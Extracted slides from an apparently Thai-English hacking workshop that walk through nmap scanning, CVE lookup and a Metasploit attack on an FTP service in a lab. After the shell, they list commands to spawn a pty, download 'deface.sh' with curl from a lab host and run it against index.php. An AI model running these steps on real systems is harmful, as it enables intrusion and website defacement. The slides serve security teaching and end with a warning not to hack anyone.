
Workshop 5
Reconnaissance & 

Scanning สไลด์การเรยีน



Lesson 1
OSINT



What is OSINT??
Open-Source Intelligence 

ข่าวกรองแหลง่เปิดจากการสะสม ประมวลผลข้อมูลจากแพลตฟอรม์สาธารณะต่างๆ เข้าด้วยกัน 





Cherry Blossoms



Lesson 2
Reconnaissance



Now we check which "doors" are open. nmap 172.25.2.10



Deep dive. nmap -sC -sV -O 172.25.2.10 



80/tcp - http

Apache version (HTTP Services)
Current Version: 2.2.8
Newest Version: 2.4.68

Check CVE (Common Vulnerabilities and Exposures )



21/tcp - ftp



21/tcp - ftp Check CVE (Common Vulnerabilities and Exposures )



21/tcp - ftp                          ip a

172.25.2.XX



21/tcp - ftp

msfconsole



21/tcp - ftp                  search vsftpd



21/tcp - ftp

IP Target

use 1

IP Local



21/tcp - ftp

Type:

1. python -c 'import pty; pty.spawn("/bin/bash")'
2. curl -O http://share.aiotsecuritylab.net/camp/deface.sh
3. chmod +x deface.sh
4. ./deface.sh index.php



21/tcp - ftp



อย่า

เผลอ

ไป

แฮก

ใคร

นะจ๊ะ


